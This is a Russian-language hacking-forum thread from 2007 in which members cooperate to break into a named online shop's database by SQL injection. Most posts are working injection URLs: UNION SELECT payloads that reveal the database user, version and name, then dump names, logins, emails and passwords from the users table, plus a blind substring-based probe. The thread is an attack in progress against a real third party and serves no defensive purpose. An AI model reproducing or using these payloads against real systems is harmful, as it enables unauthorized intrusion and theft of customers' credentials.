13.10.2007, 15:23
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами:
10182506
Репутация:
1393
|
|
Скуль
http://www.acasashop.md/?module=catalog&id=9999991'+union+select+0,1,2,3,4/*
Помогите плз перебрать к-во столбцов, а то не выходит у меня
|
|
|
13.10.2007, 15:42
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
У тебя заруб идёт на предварительном запрос, не на том, который выводится. Если бы ты был упорнее, ты бы нашёл модуль, где нету никаких предварительных запросов, ака "посчитать количество чего-либо" или "взять имя чего-то где модуль=чему-то". Например в модуле news есть SQL-Injection с выводом:
http://www.acasashop.md/?module=news&cmd=view&id=-16'+UNION+SELECT+1,2,3,CONCAT_WS(0x3a,USER(),VERSI ON(),DATABASE()),5,6/*
|
|
|
|
13.10.2007, 15:45
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
опередил.... лано от себя добавлю, что в модуле catalog можно пользовать подзапросы:
пример:
Код:
http://www.acasashop.md/?module=catalog&id=11'%20and%20ascii(substr((select%20version()),1,1))=52/*
__________________
Карфаген должен быть разрушен...
|
|
|
|
13.10.2007, 15:47
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами:
10182506
Репутация:
1393
|
|
Спс большое, плюсеги поставил )
|
|
|
|
13.10.2007, 15:58
|
|
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами:
10305026
Репутация:
187
|
|
ну и я добавлю
http://www.acasashop.md/?module=news&cmd=view&id=-16'+UNION+SELECT+1,concat(name,char(58),login),ema il,CONCAT_WS(0x3a,USER(%20),VERSION(),DATABASE()), password,6%20from%20users/*
Последний раз редактировалось kair; 13.10.2007 в 16:08..
|
|
|
|
13.10.2007, 16:05
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
С нами:
10393869
Репутация:
2032
|
|
вы скули ищете тулзами или ручками?
|
|
|
|
13.10.2007, 16:10
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
Piflit, есть скули, которые ни одна тулза не найдёт, когда для каждой нужен индивидуальный подход, поэтому я предпочитаю прямые ручки в противовес прогам.
|
|
|
|
13.10.2007, 16:11
|
|
Постоянный
Регистрация: 05.01.2007
Сообщений: 508
С нами:
10182506
Репутация:
1393
|
|
Я ручьками )
|
|
|
|
13.10.2007, 16:14
|
|
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами:
10305026
Репутация:
187
|
|
и еще одна табличка)
http://www.acasashop.md/?module=news&cmd=view&id=-16'+UNION+SELECT+1,password,3,4,name,6%20from%20ie system_acasashop.users/*
|
|
|
|
13.10.2007, 16:27
|
|
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами:
9999746
Репутация:
1318
|
|
kair, да ты потрошишь одну и ту же табличку...  )))
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
